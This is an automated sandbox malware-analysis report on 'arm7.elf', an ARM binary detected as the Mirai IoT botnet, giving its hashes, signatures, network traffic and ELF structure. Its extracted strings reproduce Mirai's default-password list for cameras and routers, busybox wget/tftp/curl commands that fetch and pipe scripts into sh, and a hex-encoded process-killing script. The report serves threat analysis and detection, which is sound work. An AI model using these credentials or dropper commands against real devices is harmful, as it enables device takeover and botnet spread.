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Linux Analysis Report
arm7.elf

Overview

General Information

Sample name:	arm7.elf
Analysis ID:	1585068
MD5:	576a416609c179799190fc8b6c878c50
SHA1:	91e3309ab2b6d099b7476a20e1b1cace785eea77
SHA256:	8fd8ea939b3f085d26c87322f467a34031951766a9c1b4e22b2f46ec67a5eef0
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585068
Start date and time:	2025-01-07 01:39:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm7.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/arm7.elf
PID:	5431
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

arm7.elf (PID: 5431, Parent: 5357, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm7.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5431.1.00007ff264017000.00007ff264036000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4pE

Source: /tmp/arm7.elf (PID: 5431)

Socket: 127.0.0.1:43478

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: arm7.elf	String found in binary or memory: http:///curl.sh
Source: arm7.elf	String found in binary or memory: http:///wget.sh

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@2/0

Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/22/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/55/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/66/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/88/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/99/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/222/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/333/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/11111/maps	Jump to behavior
Source: /tmp/arm7.elf (PID: 5431)	File opened: /proc/999/maps	Jump to behavior

Source: /tmp/arm7.elf (PID: 5431)

Queries kernel information via 'uname':

Jump to behavior

Source: arm7.elf, 5431.1.0000562a80d80000.0000562a80ecf000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm7.elf, 5431.1.00007ffd8358e000.00007ffd835af000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm7.elf, 5431.1.0000562a80d80000.0000562a80ecf000.rw-.sdmp	Binary or memory string: *V!/etc/qemu-binfmt/arm
Source: arm7.elf, 5431.1.00007ffd8358e000.00007ffd835af000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm7.elf
Source: arm7.elf, 5431.1.00007ffd8358e000.00007ffd835af000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 5431.1.00007ff264017000.00007ff264036000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm7.elf, type: SAMPLE
Source: Yara match	File source: 5431.1.00007ff264017000.00007ff264036000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
arm7.elf	32%	Virustotal		Browse
arm7.elf	32%	ReversingLabs	Linux.Trojan.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	arm7.elf	false		high
http:///curl.sh	arm7.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	arm6.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Mirai	Browse
	m68k.elf	Get hash	malicious	Unknown	Browse
	wev86.elf	Get hash	malicious	Unknown	Browse
	main_mpsl.elf	Get hash	malicious	Mirai	Browse
	main_arm7.elf	Get hash	malicious	Mirai	Browse
	wind.arm5.elf	Get hash	malicious	Mirai	Browse
	wind.mips.elf	Get hash	malicious	Mirai	Browse
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	i686.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	tftp.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	qbfwdbg.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	main_arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm6.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	main_x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main_sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	woega6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	qbfwdbg.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	main_arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main_m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.116974740611894
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm7.elf
File size:	124'816 bytes
MD5:	576a416609c179799190fc8b6c878c50
SHA1:	91e3309ab2b6d099b7476a20e1b1cace785eea77
SHA256:	8fd8ea939b3f085d26c87322f467a34031951766a9c1b4e22b2f46ec67a5eef0
SHA512:	67656d2d5a5cf525698eade79a15ba394b76a98e037d9a678cd7192ef050adcd8c98ad9dd201eefa04d16b761cccbce2659d253cf8870c07ee6ac2098937f5e5
SSDEEP:	3072:4eN+0vstXrZA94v8kMzkn3/5fEapD4sKAX9QfSCzNBznXr:4C+0vst1AwMzwv5MapD4sKAXOfnX
TLSH:	2BC3085AB9819F25D5C616BFFE5F428A332367A8E3DF3202CD146F2436CA55B0E6B401
File Content Preview:	.ELF..............(.........4...8.......4. ...(........p....._..._.......................................................................t..........................................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	124216
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x1a4ec	0x0	0x6	AX	0	16
.fini	PROGBITS	0x225dc	0x1a5dc	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x225f0	0x1a5f0	0x39d0	0x0	0x2	A	0	8
.ARM.extab	PROGBITS	0x25fc0	0x1dfc0	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x25fd8	0x1dfd8	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x2e0f0	0x1e0f0	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x2e0f4	0x1e0f4	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x2e0f4	0x1e0f4	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x2e0f8	0x1e0f8	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x2e100	0x1e100	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x2e1a8	0x1e1a8	0x31c	0x0	0x3	WA	0	4
.bss	NOBITS	0x2e4c4	0x1e4c4	0x70dc	0x0	0x3	WA	0	4
.shstrtab	STRTAB	0x0	0x1e4c4	0x73	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x1dfd8	0x25fd8	0x25fd8	0x118	0x118	4.3575	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x1e0f0	0x1e0f0	6.1302	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x1e0f0	0x2e0f0	0x2e0f0	0x3d4	0x74b0	4.4197	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .got .data .bss
TLS	0x1e0f4	0x2e0f4	0x2e0f4	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 01:40:19.225305080 CET	48202	443	192.168.2.13	185.125.190.26
Jan 7, 2025 01:40:50.201319933 CET	48202	443	192.168.2.13	185.125.190.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 01:40:09.082340002 CET	49506	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:40:09.082397938 CET	35001	53	192.168.2.13	1.1.1.1
Jan 7, 2025 01:40:09.089226961 CET	53	35001	1.1.1.1	192.168.2.13
Jan 7, 2025 01:40:09.089401007 CET	53	49506	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 01:40:09.082340002 CET	192.168.2.13	1.1.1.1	0x61b0	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:40:09.082397938 CET	192.168.2.13	1.1.1.1	0xa7fb	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 01:40:09.089401007 CET	1.1.1.1	192.168.2.13	0x61b0	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:40:09.089401007 CET	1.1.1.1	192.168.2.13	0x61b0	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: arm7.elf PID: 5431, Parent PID: 5357

General

Start time (UTC):	00:40:04
Start date (UTC):	07/01/2025
Path:	/tmp/arm7.elf
Arguments:	/tmp/arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: arm7.elf	Virustotal: Detection: 31%			Perma Link
Source: arm7.elf	ReversingLabs: Detection: 31%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm7.elf PID: 5431, Parent PID: 5357

General

Chronological Activities

Linux Analysis Report
arm7.elf